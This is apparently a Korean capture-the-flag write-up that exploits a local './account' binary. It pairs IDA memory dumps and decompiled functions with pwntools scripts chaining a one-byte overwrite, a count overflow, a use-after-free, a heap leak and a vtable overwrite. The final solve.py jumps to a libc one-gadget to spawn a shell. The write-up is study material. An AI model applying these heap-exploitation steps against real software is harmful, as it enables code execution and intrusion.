MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141
MEMORY:00007FFFF7FFA018                                         ; DATA XREF: MEMORY:00007FFFF7FFA008↑o
MEMORY:00007FFFF7FFA020 db    0
MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 1                  ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o
MEMORY:00007FFFF7FFA022 db 2
MEMORY:00007FFFF7FFA023 db    0
MEMORY:00007FFFF7FFA024 db    0
MEMORY:00007FFFF7FFA025 db    0
MEMORY:00007FFFF7FFA026 db    0
MEMORY:00007FFFF7FFA027 db    0
MEMORY:00007FFFF7FFA028 db    0
MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039
MEMORY:00007FFFF7FFA031 db    0
MEMORY:00007FFFF7FFA032 db    0
MEMORY:00007FFFF7FFA033 db    0
MEMORY:00007FFFF7FFA034 db    0
MEMORY:00007FFFF7FFA035 db    0
MEMORY:00007FFFF7FFA036 db    0
MEMORY:00007FFFF7FFA037 db    0
MEMORY:00007FFFF7FFA038 db    0
MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4242424242424242
MEMORY:00007FFFF7FFA039                                         ; DATA XREF: MEMORY:00007FFFF7FFA029↑o
MEMORY:00007FFFF7FFA041 db    0
MEMORY:00007FFFF7FFA042 db 1
MEMORY:00007FFFF7FFA043 db 1
MEMORY:00007FFFF7FFA044 db    0
MEMORY:00007FFFF7FFA045 db    0
MEMORY:00007FFFF7FFA046 db    0
MEMORY:00007FFFF7FFA047 db    0
MEMORY:00007FFFF7FFA048 db    0
MEMORY:00007FFFF7FFA049 db    0
MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A
MEMORY:00007FFFF7FFA052 dq 0
MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343
MEMORY:00007FFFF7FFA05A                                         ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o
MEMORY:00007FFFF7FFA062 db    0
MEMORY:00007FFFF7FFA063 db 1
MEMORY:00007FFFF7FFA064 db 0
MEMORY:00007FFFF7FFA065 db    0
MEMORY:00007FFFF7FFA066 db    0
MEMORY:00007FFFF7FFA067 db    0
MEMORY:00007FFFF7FFA068 db    0
MEMORY:00007FFFF7FFA069 db    0
MEMORY:00007FFFF7FFA06A db    0
MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B
MEMORY:00007FFFF7FFA073 dq offset group_vtable
MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021
MEMORY:00007FFFF7FFA07B                                         ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o
MEMORY:00007FFFF7FFA083 db    0
MEMORY:00007FFFF7FFA084 db    0
MEMORY:00007FFFF7FFA085 db    0
MEMORY:00007FFFF7FFA086 db    0
MEMORY:00007FFFF7FFA087 db    0
MEMORY:00007FFFF7FFA088 db    0
MEMORY:00007FFFF7FFA089 db    0
MEMORY:00007FFFF7FFA08A db    0
MEMORY:00007FFFF7FFA08B db    0
MEMORY:00007FFFF7FFA08C db    0
MEMORY:00007FFFF7FFA08D db    0
MEMORY:00007FFFF7FFA08E db    0
MEMORY:00007FFFF7FFA08F db    0
MEMORY:00007FFFF7FFA090 db    0

여기서 modify_account_data(False, b"\x01", b"D"*8) 수행할 경우:

  • 2번째 인덱스 account의 is_utf8_type 1바이트 필드가 0으로 덮어써진다.
MEMORY:00007FFFF7FFA000 db 1
MEMORY:00007FFFF7FFA001 db 1
MEMORY:00007FFFF7FFA002 db    0
MEMORY:00007FFFF7FFA003 db    0
MEMORY:00007FFFF7FFA004 db    0
MEMORY:00007FFFF7FFA005 db    0
MEMORY:00007FFFF7FFA006 db    0
MEMORY:00007FFFF7FFA007 db    0
MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA018
MEMORY:00007FFFF7FFA010 dq 0
MEMORY:00007FFFF7FFA018 off_7FFFF7FFA018 dq offset unk_4141414141414141
MEMORY:00007FFFF7FFA018                                         ; DATA XREF: MEMORY:00007FFFF7FFA008↑o
MEMORY:00007FFFF7FFA020 db    0
MEMORY:00007FFFF7FFA021 byte_7FFFF7FFA021 db 0                  ; DATA XREF: MEMORY:off_7FFFF7FFA07B↓o
MEMORY:00007FFFF7FFA022 db 2
MEMORY:00007FFFF7FFA023 db    0
MEMORY:00007FFFF7FFA024 db    0
MEMORY:00007FFFF7FFA025 db    0
MEMORY:00007FFFF7FFA026 db    0
MEMORY:00007FFFF7FFA027 db    0
MEMORY:00007FFFF7FFA028 db    0
MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA039
MEMORY:00007FFFF7FFA031 dq 0
MEMORY:00007FFFF7FFA039 off_7FFFF7FFA039 dq offset unk_4444444444444444
MEMORY:00007FFFF7FFA039                                         ; DATA XREF: MEMORY:00007FFFF7FFA029↑o
MEMORY:00007FFFF7FFA041 db    0
MEMORY:00007FFFF7FFA042 db 0
MEMORY:00007FFFF7FFA043 db 1
MEMORY:00007FFFF7FFA044 db    0
MEMORY:00007FFFF7FFA045 db    0
MEMORY:00007FFFF7FFA046 db    0
MEMORY:00007FFFF7FFA047 db    0
MEMORY:00007FFFF7FFA048 db    0
MEMORY:00007FFFF7FFA049 db    0
MEMORY:00007FFFF7FFA04A dq offset off_7FFFF7FFA05A
MEMORY:00007FFFF7FFA052 dq 0
MEMORY:00007FFFF7FFA05A off_7FFFF7FFA05A dq offset unk_4343434343434343
MEMORY:00007FFFF7FFA05A                                         ; DATA XREF: MEMORY:00007FFFF7FFA04A↑o
MEMORY:00007FFFF7FFA062 db    0
MEMORY:00007FFFF7FFA063 db 1
MEMORY:00007FFFF7FFA064 db 0
MEMORY:00007FFFF7FFA065 db    0
MEMORY:00007FFFF7FFA066 db    0
MEMORY:00007FFFF7FFA067 db    0
MEMORY:00007FFFF7FFA068 db    0
MEMORY:00007FFFF7FFA069 db    0
MEMORY:00007FFFF7FFA06A db    0
MEMORY:00007FFFF7FFA06B dq offset off_7FFFF7FFA07B
MEMORY:00007FFFF7FFA073 dq offset group_vtable
MEMORY:00007FFFF7FFA07B off_7FFFF7FFA07B dq offset byte_7FFFF7FFA021
MEMORY:00007FFFF7FFA07B                                         ; DATA XREF: MEMORY:00007FFFF7FFA06B↑o
MEMORY:00007FFFF7FFA083 db    0
MEMORY:00007FFFF7FFA084 db    0
MEMORY:00007FFFF7FFA085 db    0
MEMORY:00007FFFF7FFA086 db    0
MEMORY:00007FFFF7FFA087 db    0
MEMORY:00007FFFF7FFA088 db    0
MEMORY:00007FFFF7FFA089 db    0
MEMORY:00007FFFF7FFA08A db    0
MEMORY:00007FFFF7FFA08B db    0
MEMORY:00007FFFF7FFA08C db    0
MEMORY:00007FFFF7FFA08D db    0
MEMORY:00007FFFF7FFA08E db    0
MEMORY:00007FFFF7FFA08F db    0
MEMORY:00007FFFF7FFA090 db    0

2번쨰 account 그 뒤에는 group 구조체 필드들이 저장되있다.

group 구조체는 다음과 같다.

struct group // sizeof=0x18
{
    _DWORD account_count;
    _BYTE gap0[4];
    void *account_array;
    group_vtable *_group_vtable;
};

modify_account_data 를 통해 마찬가지로 \x00 덮어써지는 1바이트 버그로 account_count 필드 중 하위 바이트를 0으로 덮을 수 있기에,

group에 account가 있더라도, delete_group 함수를 호출 할 수 있다.

add_account_to_group 를 호출할때, 내부적으로 add_account_to_group 함수를 호출한다.

__int64 __fastcall increase_account_count(unsigned __int8 account_index)
{
  account *_account; // [rsp+8h] [rbp-18h]

  if ( account_index < 0x10u && (_account = (account *)account_id_array[account_index]) != 0 )
  {
    return ++_account->count;
  }
  else
  {
    fprintf(MEMORY[0x7FFFF7FAD860], "invalid account id\n");
    return (unsigned __int8)-1;
  }
}

account 구조체는 다음과 같다.

struct account // sizeof=0x10
{
    BOOL is_utf8_type;
    unsigned __int8 count;
    // padding byte
    // padding byte
    // padding byte
    // padding byte
    // padding byte
    // padding byte
    _QWORD qword8;
};

버그로 아래 과정을 5번 수행했을때
make_group()
add_account_to_group(group_index, b"\x01")
modify_account_data(False, b"\x02", b"D"*8)
→ delete_group(b"\x00")

count를 계속 증가시켜 0xff 에서 더 증가시키면,
1번쨰 인덱스의 account의 count 필드를 다시 0으로 만들어줄 수 있다.

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account', checksec=False)

def make_account(is_utf8_type, data):
    _menu = b"\x00"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    _data = data
    payload = _menu + _is_utf8_type + _data

    p.send(payload)
    return p.recv(1)

def delete_account(index):
    _menu = b"\x01"
    _index = index
    payload = _menu + _index

    p.send(payload)
    return p.recv(1)

def modify_account_data(is_utf8_type, account_index, data):
    _menu = b"\x02"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    payload = _menu + account_index + _is_utf8_type + data
    
    p.send(payload)
    r = p.recv(len(data))
    info(f"modify_account_Data r: {r}")
    return p.recv()

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def delete_group(group_index):
    _menu = b"\x11"

    p.send(_menu + group_index)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1)

def delete_account_from_group(group_index, account_index):
    _menu = b"\x13"

    p.send(_menu + group_index + account_index)
    return p.recv(1)

def list_group(group_index):
    p.send(b"\x14" + group_index)
    return p.recv()

account_index = make_account(True, b"A"*8)   #0
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"B"*8)   #1
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"C"*8)   #2
info(f"make_account _index: {account_index}")

for i in range(0xff-1):
    group_index = make_group()    #0
    info(f"group_index _index: {group_index}")
    add_account_to_group(group_index, b"\x01")  #(group_id, account_id)

    # pause()
    modify_account_data(False, b"\x02", b"D"*8)

    # delete_account_from_group(b"\x00", b"\x01")  #(group_id, account_id)
    delete_group(b"\x00")

0xff번 수행했을때, 1번째 인덱스의 account의 count 필드값이 0으로 됨.

delete_account_from_group을 통한 free 시도.

# ...
group_index = make_group()    #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01")  #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.

delete_account_from_group(group_index, b"\x01") #group, account
#Free 됨.

delete_account_from_group 수행전 – 0번째 인덱스 group:

account_array[0]은 1번째 인덱스의 account를 가리킴.

delete_account_from_group 수행후 – 0번째 인덱스 group:

  • 내부적으로 free_account_id 수행
  • 2번의 free를 수행함
    • free_func((__int64)_account->account_data);
    • free_func((__int64)_account);
  • account_id_array[1]에는 여전히 남아있음
__int64 __fastcall free_account_id(unsigned __int8 a1)
{
  account *_account; // [rsp+8h] [rbp-18h]

  if ( a1 < 0x10u && (_account = (account *)account_id_array[a1]) != 0 )
  {
    if ( !--_account->count )
    {
      free_func((__int64)_account->account_data);
      free_func((__int64)_account);
    }
    return _account->count;
  }
  else
  {
    fprintf(unk_7FFFF7FAD860, "invalid account id\n");
    return (unsigned __int8)-1;
  }
}

account_array[0]1번째 인덱스의 account를 가리킴. nullptr 0 가리킴.

make_group()을 통한 재할당 시도 (UAF)

Code: group_index = make_group()

2번의 할당이 이루어짐.

  • v0 = alloca((signed __int64)group_array);
  • v1 = alloca((signed __int64)group_array)...

Use-after-free 버그 발생.

  • account_id_array[1]group_array[1]은 서로 같은 주소를 가리킴
  • 0x7FFFF7FFA021
__int64 make_group()
{
  void *v0; // rsp
  void *v1; // rsp
  int i; // [rsp+10h] [rbp-10h]

  for ( i = 0; ; ++i )
  {
    if ( i >= 16 )
    {
      fprintf(stderr, "no more group\n");
      return (unsigned __int8)-1;
    }
    if ( !group_array[i] )
      break;
  }
  v0 = alloca((signed __int64)group_array);
  if ( group_array
    && (LODWORD(group_array[0]) = 0, v1 = alloca((signed __int64)group_array), (group_array[1] = group_array) != 0) )
  {
    memset((void *)group_array[1], 0, 0x80u);
    group_array[2] = &group_vtable;
    group_array[i] = group_array;
    return (unsigned __int8)i;
  }
  else
  {
    fprintf(stderr, "failed to allocate memory\n");
    return (unsigned __int8)-1;
  }
}

heap base 누출

이제 list_group 함수 출력을 통해 heap base 주소를 누출시킬 수 있다.

Code:

# ...
add_account_to_group(group_index, b"\x01")      #(group_id, account_id)

list_group(b"\x01")     #(group_index)

leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")

account 추가 생성 및 vtable 주소 삽입

  • 생성된 account_array[3] 주소 = 0x0007FFFF7FFA17B
group_vtable_ptr = leaked_heap_base + 0x31
make_account(True, b"E"*8 + p64(group_vtable_ptr))

1, 0번쨰 인덱스 account 제거 후 account 생성, 인덱스0

  • G 23바이트 데이터와 함께 account 생성
  • 0x0007FFFF7FFA000 주소에 할당
  • 23바이트? XXX 안그러면 끝에 쉘딸때 add_account_to_group 함수 수행시 'group is full’ 에러뜸
  • 원래는 vtable에 원가젯 주소가 적혀있어 실행되야하는데? 왜?
delete_account(b"\x01")
delete_account(b"\x00")
make_account(b"\x01", b"G"*23)
MEMORY:00007FFFF7FFA000 db 1                                    ; is_utf8_type
MEMORY:00007FFFF7FFA001 db 1                                    ; count
MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0
MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021             ; account_data
MEMORY:00007FFFF7FFA010 db    0
MEMORY:00007FFFF7FFA011 db    0
MEMORY:00007FFFF7FFA012 db    0
MEMORY:00007FFFF7FFA013 db    0
MEMORY:00007FFFF7FFA014 db    0
MEMORY:00007FFFF7FFA015 db    0
MEMORY:00007FFFF7FFA016 db    0
MEMORY:00007FFFF7FFA017 db    0
MEMORY:00007FFFF7FFA018 db  41h ; A
MEMORY:00007FFFF7FFA019 db  41h ; A
MEMORY:00007FFFF7FFA01A db  41h ; A
MEMORY:00007FFFF7FFA01B db  41h ; A
MEMORY:00007FFFF7FFA01C db  41h ; A
MEMORY:00007FFFF7FFA01D db  41h ; A
MEMORY:00007FFFF7FFA01E db  41h ; A
MEMORY:00007FFFF7FFA01F db  41h ; A
MEMORY:00007FFFF7FFA020 db    0
MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 group <47h, <47h, 47h, 47h, 47h, 47h, 47h, 47h>, \
MEMORY:00007FFFF7FFA021                                         ; DATA XREF: MEMORY:00007FFFF7FFA000↑o
MEMORY:00007FFFF7FFA021        offset unk_4747474747474747, offset unk_47474747474747>
MEMORY:00007FFFF7FFA039 db  42h ; B
MEMORY:00007FFFF7FFA03A db  42h ; B
MEMORY:00007FFFF7FFA03B db  42h ; B
MEMORY:00007FFFF7FFA03C db  42h ; B
MEMORY:00007FFFF7FFA03D db  42h ; B
MEMORY:00007FFFF7FFA03E db  42h ; B
MEMORY:00007FFFF7FFA03F db  42h ; B
MEMORY:00007FFFF7FFA040 db  42h ; B
MEMORY:00007FFFF7FFA041 db    0

제거 후 0번째 account 생성시 23바이트여야 vtable에 원가젯 주소가 실행되는 이유

요약: 26바이트인 이유는 0x0007FFFF7FFA021 주소값으로 재할당받기 위해

인덱스 1 account 계정 생성했을때, 0x~21부터 0x~38까지 account 구조체를 위해 할당함 (그 뒤 주소는 account_data 값 들어감)

0x38 - 0x21 = 23

시행 착오:

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account', checksec=False)

def make_account(is_utf8_type, data):
    _menu = b"\x00"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    _data = data
    payload = _menu + _is_utf8_type + _data

    p.send(payload)
    return p.recv(1)

def delete_account(index):
    _menu = b"\x01"
    _index = index
    payload = _menu + _index

    p.send(payload)
    return p.recv(1)

def modify_account_data(is_utf8_type, account_index, data):
    _menu = b"\x02"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    payload = _menu + account_index + _is_utf8_type + data
    
    p.send(payload)
    r = p.recv(len(data))
    info(f"modify_account_data r: {r}")
    return p.recv(timeout=0.5)

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def delete_group(group_index):
    _menu = b"\x11"

    p.send(_menu + group_index)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1, timeout=0.5)

def delete_account_from_group(group_index, account_index):
    _menu = b"\x13"

    p.send(_menu + group_index + account_index)
    return p.recv(1)

def list_group(group_index):
    p.send(b"\x14" + group_index)
    # return p.recv()

account_index = make_account(True, b"A"*8)   #0
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"B"*8)   #1
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"C"*8)   #2
info(f"make_account _index: {account_index}")


for i in range(0xff):
    group_index = make_group()    #0
    info(f"group_index _index: {group_index}")
    add_account_to_group(group_index, b"\x01")  #(group_id, account_id)

    # pause()
    modify_account_data(False, b"\x02", b"D"*8)

    # delete_account_from_group(b"\x00", b"\x01")  #(group_id, account_id)
    delete_group(b"\x00")

group_index = make_group()    #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01")  #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.



delete_account_from_group(group_index, b"\x01") #(group_id, account_id)
#Free 됨.

group_index = make_group()                      #1
#Use 됨.

add_account_to_group(group_index, b"\x01")      #(group_id, account_id)

list_group(b"\x01")     #(group_index)

leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")

group_vtable_ptr = leaked_heap_base + 0x31
make_account(True, b"E"*8 + p64(group_vtable_ptr))

delete_account(b"\x01")
delete_account(b"\x00")
make_account(True, b"G"*23)  #account_index=0 (is_utf8_type, account_data)



libc_base = leaked_heap_base - 0x268000
og = libc_base + 0xebc81
make_account(True, b"B"*16+ p64(og))    #account_index=1 (is_utf8_type, account_data)
pause()
MEMORY:00007FFFF7FFA000 db 1                                    ; is_utf8_type
MEMORY:00007FFFF7FFA001 db 1                                    ; count
MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0
MEMORY:00007FFFF7FFA008 dq offset stru_7FFFF7FFA021             ; account_data
MEMORY:00007FFFF7FFA010 db    0
MEMORY:00007FFFF7FFA011 db    0
MEMORY:00007FFFF7FFA012 db    0
MEMORY:00007FFFF7FFA013 db    0
MEMORY:00007FFFF7FFA014 db    0
MEMORY:00007FFFF7FFA015 db    0
MEMORY:00007FFFF7FFA016 db    0
MEMORY:00007FFFF7FFA017 db    0
MEMORY:00007FFFF7FFA018 db  41h ; A
MEMORY:00007FFFF7FFA019 db  41h ; A
MEMORY:00007FFFF7FFA01A db  41h ; A
MEMORY:00007FFFF7FFA01B db  41h ; A
MEMORY:00007FFFF7FFA01C db  41h ; A
MEMORY:00007FFFF7FFA01D db  41h ; A
MEMORY:00007FFFF7FFA01E db  41h ; A
MEMORY:00007FFFF7FFA01F db  41h ; A
MEMORY:00007FFFF7FFA020 db    0
MEMORY:00007FFFF7FFA021 stru_7FFFF7FFA021 db 47h                                  ; account_count
MEMORY:00007FFFF7FFA021                                         ; DATA XREF: MEMORY:00007FFFF7FFA000↑o
MEMORY:00007FFFF7FFA022 db 47h, 47h, 47h, 47h, 47h, 47h, 47h    ; gap0
MEMORY:00007FFFF7FFA029 dq offset unk_4747474747474747          ; account_array
MEMORY:00007FFFF7FFA031 dq offset unk_47474747474747            ; _group_vtable
MEMORY:00007FFFF7FFA039 db  42h ; B
MEMORY:00007FFFF7FFA03A db  42h ; B
MEMORY:00007FFFF7FFA03B db  42h ; B
MEMORY:00007FFFF7FFA03C db  42h ; B
MEMORY:00007FFFF7FFA03D db  42h ; B
MEMORY:00007FFFF7FFA03E db  42h ; B
MEMORY:00007FFFF7FFA03F db  42h ; B
MEMORY:00007FFFF7FFA040 db  42h ; B
MEMORY:00007FFFF7FFA041 db    0

22바이트 일경우:

이전 할당한 크기와 달라 account 생성시 0x7FFFF7FFA1A2 주소로 할당받음!!!

0x7FFFF7FFA1A20x7FFFF7FFA021 mismatch.

0x7FFFF7FFA021account_array[1], group_array[1]의 주소를 의미. 연속된 G 문자열 자체가 덮히지 않음. 23바이트였다면 덮혀야 함.

MEMORY:00007FFFF7FFA000 db 1                                    ; is_utf8_type
MEMORY:00007FFFF7FFA001 db 1                                    ; count
MEMORY:00007FFFF7FFA002 db 0, 0, 0, 0, 0, 0
MEMORY:00007FFFF7FFA008 dq offset off_7FFFF7FFA1A2              ; account_data
MEMORY:00007FFFF7FFA010 db    0
MEMORY:00007FFFF7FFA011 db    0
MEMORY:00007FFFF7FFA012 db    0
MEMORY:00007FFFF7FFA013 db    0
MEMORY:00007FFFF7FFA014 db    0
MEMORY:00007FFFF7FFA015 db    0
MEMORY:00007FFFF7FFA016 db    0
MEMORY:00007FFFF7FFA017 db    0
MEMORY:00007FFFF7FFA018 db  41h ; A
MEMORY:00007FFFF7FFA019 db  41h ; A
MEMORY:00007FFFF7FFA01A db  41h ; A
MEMORY:00007FFFF7FFA01B db  41h ; A
MEMORY:00007FFFF7FFA01C db  41h ; A
MEMORY:00007FFFF7FFA01D db  41h ; A
MEMORY:00007FFFF7FFA01E db  41h ; A
MEMORY:00007FFFF7FFA01F db  41h ; A
MEMORY:00007FFFF7FFA020 db    0
MEMORY:00007FFFF7FFA021 db 1                                    ; account_count
MEMORY:00007FFFF7FFA022 db 1, 0, 0, 0, 0, 0, 0                  ; gap0
MEMORY:00007FFFF7FFA029 dq offset off_7FFFF7FFA1B9              ; account_array
MEMORY:00007FFFF7FFA031 dq offset group_vtable                  ; _group_vtable
MEMORY:00007FFFF7FFA039 db  42h ; B
MEMORY:00007FFFF7FFA03A db  42h ; B
MEMORY:00007FFFF7FFA03B db  42h ; B
MEMORY:00007FFFF7FFA03C db  42h ; B
MEMORY:00007FFFF7FFA03D db  42h ; B
MEMORY:00007FFFF7FFA03E db  42h ; B
MEMORY:00007FFFF7FFA03F db  42h ; B
MEMORY:00007FFFF7FFA040 db  42h ; B
MEMORY:00007FFFF7FFA041 db    0

계정 생성, 인덱스1

  • 0x0007FFFF7FFA1A2 주소에 할당
  • 이는 곧 account_data에 임의의 데이터가 써지는데, 해당 데이터 주소는 곧 1번쨰 인덱스 group의 vtable에 써지는것임.
libc_base = leaked_heap_base - 0x268000
og = libc_base + 0xebc81
make_account(b"\x01", b"B"*16+ p64(og))

modify_account_data

# account_id_array[1]'s account_data
account_id_array1_data = leaked_heap_base + 0x1ba

modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data))

마지막.. vtable을 통한 원가젯 실행

이제 group_array의 1번째 인덱스로 vtable의 delete_account_from_group 실행시키려 하면, 원가젯이 실행됨.

v7 = 0x0007FFFF7FFA021

v7->_group_vtable = 0x7FFFF7FFA1BA

v7->_group_vtable->delete_account_from_group = 원가젯 주소

add_account_to_group(b"\x01", b"\x00")      #(group_id, account_id)
case '\x13':
        if ( a2 != 3 )
          goto LABEL_29;
        if ( (unsigned __int8)a1[1] >= 0x10u )
          goto LABEL_32;
        v7 = (group *)group_array[(unsigned __int8)a1[1]];
        if ( !v7 )
          goto LABEL_32;
        v6 = v7->_group_vtable->delete_account_from_group(a1[1], a1[2]);
        printf("%c", v6);
        v17 = v6;
        break;

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./account")
e = ELF('./account', checksec=False)

def make_account(is_utf8_type, data):
    _menu = b"\x00"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    _data = data
    payload = _menu + _is_utf8_type + _data

    p.send(payload)
    return p.recv(1)

def delete_account(index):
    _menu = b"\x01"
    _index = index
    payload = _menu + _index

    p.send(payload)
    return p.recv(1)

def modify_account_data(is_utf8_type, account_index, data):
    _menu = b"\x02"
    if(is_utf8_type):
        _is_utf8_type = b"\x01"
    else:
        _is_utf8_type = b"\x00"
    payload = _menu + account_index + _is_utf8_type + data
    
    p.send(payload)
    r = p.recv(len(data))
    info(f"modify_account_data r: {r}")
    return p.recv(timeout=0.5)

def make_group():
    _menu = b"\x10"
    
    p.send(_menu)
    return p.recv(1)

def delete_group(group_index):
    _menu = b"\x11"

    p.send(_menu + group_index)
    return p.recv(1)

def add_account_to_group(group_index, account_index):
    _menu = b"\x12"
    
    p.send(_menu + group_index + account_index)
    return p.recv(1, timeout=0.5)

def delete_account_from_group(group_index, account_index):
    _menu = b"\x13"

    p.send(_menu + group_index + account_index)
    return p.recv(1)

def list_group(group_index):
    p.send(b"\x14" + group_index)
    # return p.recv()

account_index = make_account(True, b"A"*8)   #0
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"B"*8)   #1
info(f"make_account _index: {account_index}")

account_index = make_account(True, b"C"*8)   #2
info(f"make_account _index: {account_index}")

# pause()


for i in range(0xff):
    group_index = make_group()    #0
    info(f"group_index _index: {group_index}")
    add_account_to_group(group_index, b"\x01")  #(group_id, account_id)

    # pause()
    modify_account_data(False, b"\x02", b"D"*8)

    # delete_account_from_group(b"\x00", b"\x01")  #(group_id, account_id)
    delete_group(b"\x00")

group_index = make_group()    #0
info(f"group_index _index: {group_index}")
add_account_to_group(group_index, b"\x01")  #(group_id, account_id)
# 여기까지 했을때, 1번쨰 인덱스 account의 count 필드값은 1이 됨.



delete_account_from_group(group_index, b"\x01") #(group_id, account_id)
#Free 됨.

group_index = make_group()                      #1
#Use 됨.

add_account_to_group(group_index, b"\x01")      #(group_id, account_id)

list_group(b"\x01")     #(group_index)

leaked_heap_base = p.recvuntil(b"\x7f")
p.recv(1)
leaked_heap_base = u64(leaked_heap_base.ljust(8, b"\x00")) - 0x21
success(f"leaked_heap_base: {hex(leaked_heap_base)}")

group_vtable_ptr = leaked_heap_base + 0x31
make_account(True, b"E"*8 + p64(group_vtable_ptr))

delete_account(b"\x01")
delete_account(b"\x00")
# pause()
make_account(True, b"G"*23)  #account_index=0 (is_utf8_type, account_data)



libc_base = leaked_heap_base - 0x268000
og = libc_base + 0xebc81
make_account(True, b"B"*16+ p64(og))    #account_index=1 (is_utf8_type, account_data)
# pause()
# account_id_array[1]'s account_data
account_id_array1_data = leaked_heap_base + 0x1ba

# (account_index, data)
modify_account_data(False, b"\x00", b"C"*16 + p64(account_id_array1_data))

# pause()

add_account_to_group(b"\x01", b"\x00")      #(group_id, account_id)


p.interactive()